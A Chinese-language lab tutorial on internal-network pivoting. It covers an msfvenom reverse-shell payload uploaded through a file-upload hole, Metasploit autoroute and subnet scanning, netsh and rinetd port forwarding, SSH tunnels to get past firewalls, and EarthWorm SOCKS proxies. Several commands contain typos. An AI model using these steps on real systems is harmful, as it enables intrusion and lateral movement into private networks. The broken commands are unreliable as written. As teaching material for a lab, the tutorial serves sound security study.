一、简单环境搭建
一台VPS,一台边界服务器OWASP,一台内部服务器Ubuntu Server
网络拓扑如图所示:
关于环境的部署,在OWSAP服务器中设置两张网卡,一张设置外部IP,另外一张设置内部IP。
# 具体配置在/etc/network/interface
# 这里设置静态IP
auto eth0
iface eth0 inet static
address 192.168.101.100
netmask 255.255.255.0
gateway 192.168.101.2
auto eth1
iface eth1 inet static
address 192.168.100.100
netmask 255.255.255.0
目标:获取到OWASP WEB Server的shell后,如何去发现、访问Ubuntu Server服务器(针对在VPS的操作)
比较常见的几种方法:
1、使用Metasploit框架,设置OWASP服务器自动路由。(将获取到的边界主机作为路由器)
2、使用端口转发的技术,将OWASP的某个端口转发到内网服务器的相应端口从而进行访问。
3、使用正向代理技术,通过OWASP服务器去访问内网服务器。
二、Metasploit设置路由
利用存在的文件上传漏洞,将生成的木马传上去,然后监听,获取shell。
这里,利用msfvenom生成一个Linux马:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.101.100 LPOST=9999 -f elf -o ./shell
将生成的shell传上去,VPS打开msfconsole
# 使用linux/x86/meterpreter/reverse_tcp模块监听端口
use linux/x86/meterpreter/reverse_tcp
# 设置主机和端口
set LHOST 192.168.101.100
set LPORT 9999
在目标主机执行shell二进制文件,VPS获取到一个会话:
# 执行post/multi/autoroute,将目标主机作为路由
# 通过run autoroute -p可以查看路由
# 将此会话放到后台background
接下来,使用auxiliary/sacnner/discovery/arp_sweep模块扫描内网存活主机
use auxiliary/scanner/discovery/arp_sweep
# 设置扫描的目标,这里扫描内网主机
set RHOSTS 192.168.100.0/24
扫描内网存活主机开放的服务,可以使用auxiliary/scanner/portscan/tcp
use auxiliary/scanner/portscan/tcp
# 设置目标主机ip,选取存活主机或者直接网段扫描
set rhosts 192.168.100.101
三、端口转发与映射
通过端口转发,进入内网。访问获取到shell主机的某个端口,将这个端口的流量转发到内网具体的端口。
1、Windows下端口转发
(在搭建的环境中,主机能直接访问三台虚拟机,而VPS不能直接访问内网中的Ubuntu Server)
使用netsh工具,做端口转发:
# 配置监听端口和转发端口
netsh interface portproxy add v4tov4 listenaddress=ip listenport=port connectaddress=target_ip connectport=target_port
# 查看配置完成的转发规则
netsh interface protproxy show v4tov4
# 清除转发规则信息
netsh interface protproxt reset
接下来做个实验,访问主机的9999端口,将流量转发到OWASP服务器的80端口:
# 在主机Win10中设置转发规则
netsh interface portproxy add v4tov4 listenaddress=192.168.0.102 listenport=9999 connectaddress=192.168.101.100 connectport=80
通过VPS访问主机的9999端口,会将流量转发到OWASP服务器的80端口处,返回OWASP主页面。
2、Linux下端口转发
Rinetd工具
端口转发工具Rinetd:https://github.com/boutell/rinetd.git
# 安装,以root权限
git clone https://github.com/boutell/rinetd.git
# 进入rinetd目录
make && make install
通过配置文件来配置监听的端口以及转发的主机、端口
# /etc/rinetd.conf
# bindaddress bindport connectaddress connectport
# 启动服务器
rinetd -c /etc/rinetd.conf
以VPS为跳板,将VPS的7777端口的流量转发到OWASP服务器的80端口,通过主机去访问VPS的7777端口,/etc/rinetd配置如下
# bindaddress bindport connectaddress connectport
192.168.101.130 7777 192.168.101.100 80
# 执行
rinetd -c /etc/rinetd.conf
当用主机访问192.168.101.130:7777时,会返回OWASP服务器80端口的页面
SSH隧道技术
通过SSH服务器,也可以进行端口转发—也称为SSH隧道
(1)建立本地SSH隧道
通过一台中间SSH服务器去访问内网,可以绕过防火墙的限制。(就是将SSH服务器作为跳板,去访问内部网络)
使用的命令如下:
ssh -g -L LPORT:RHOST:RPORT -fN LHOST
# -L参数表示做本地的端口映射:RHOST和RPORT是目标主机和端口,LPORT是SSH服务器的端口
# -f参数表示SSH客户端在后台运行
# -N参数表示该连接不做任何操作,仅用于端口转发
# -g参数表示允许外来主机连接本地转发端口(不指定的话只允许本地连接)
实验案例:在VPS建立本地SSH隧道,以OWASP服务器作为SSH服务器,做端口映射,将内网中的80端口映射到本地9000端口
# VPS IP地址为192.168.101.130
# Ubuntu Server IP地址为192.168.100.101
# OWASP服务器IP地址为192.168.101.100
# 在VPS上,以OWASP服务器作为跳板,做本地SSH隧道
ssh -L 9000:192.168.100.101:80 -fN 192.168.101.100
(以OWASP作为SSH服务器,需要知道OWASP的密码)
查看监听的端口,可以发现在本地监听了9000端口,访问本地的9000端口,最终将流量转发给了内网主机的80端口
(2)建立远程SSH隧道
远程SSH隧道一般用于外网不能访问内网,而内网可以出去的情况下,如何让外网的主机去访问内网。
考虑如下情况:
由于防火墙限制,主机1可以访问外网主机,但是外网主机的流量不能进入主机1。
在这种情况下,可以在主机1做一个远程SSH隧道,即在外网主机和主机1上建立一个SSH隧道。
ssh -R 9999:192.168.100.101:80 -fN 192.168.101.128
这样,就将远程端口9999映射到内网192.168.100.101的80端口
(9999为远程端口,是相对于主机1来说。9999端口是外网的主机端口)
本地SSH隧道是将边界主机作为跳板,实现内网主机的访问。而远程SSH隧道用的更多的地方是在外网不能访问内网,通过控制内网主机,与外网建立SSH隧道。
四、代理技术
代理分为正向代理和反向代理:
正向代理:客户端代理(例如VPN)
反向代理:服务端代理(例如负载均衡)
在内网安全中,用的比较多的是正向代理。通过中间主机作为代理去访问内网主机。
Socks5代理:简单理解就是将流量进行转发而不做任何的处理
EarthWorm工具
内网穿透神器:http://github.com/idlefire/ew
# rcsocks客户端,监听端口以及转发端口
# rsscoks服务端,指定连接的主机以及端口
做以下实验:将OWSAP服务器作为代理服务器,VPS作为客户端,去访问内网Ubuntu服务器
在VPS客户端执行以下命令:
# 本地监听1080端口,转发端口设置为10000
./ew_for_linux64 -s rcsocks -l 1080 -e 10000
# vim /etc/proxychains.conf 全局代理配置
# 添加监听的主机以及端口(添加自己主机IP和端口)
socks5 192.168.101.128 1080
接下来,在OWASP开启服务端:
# 连接客户端主机的10000端口
./ew_for_Linux32 -s rssocks -d 192.168.101.128 -e 10000
在浏览器配置好socks5代理,即可访问内网服务器
SSH代理
使用SSH做代理也比较简单,使用-D参数
# 指定本地监听端口以及ssh服务器(将ssh服务器作为代理服务器)
ssh -D lport Rhost
和上面类似,以OWASP服务器作为代理服务器,VPS执行ssh命令
ssh -D 1080 root@12.168.101.100
在浏览器配置好socks5代理(主机填127.0.0.1),即可访问内网服务器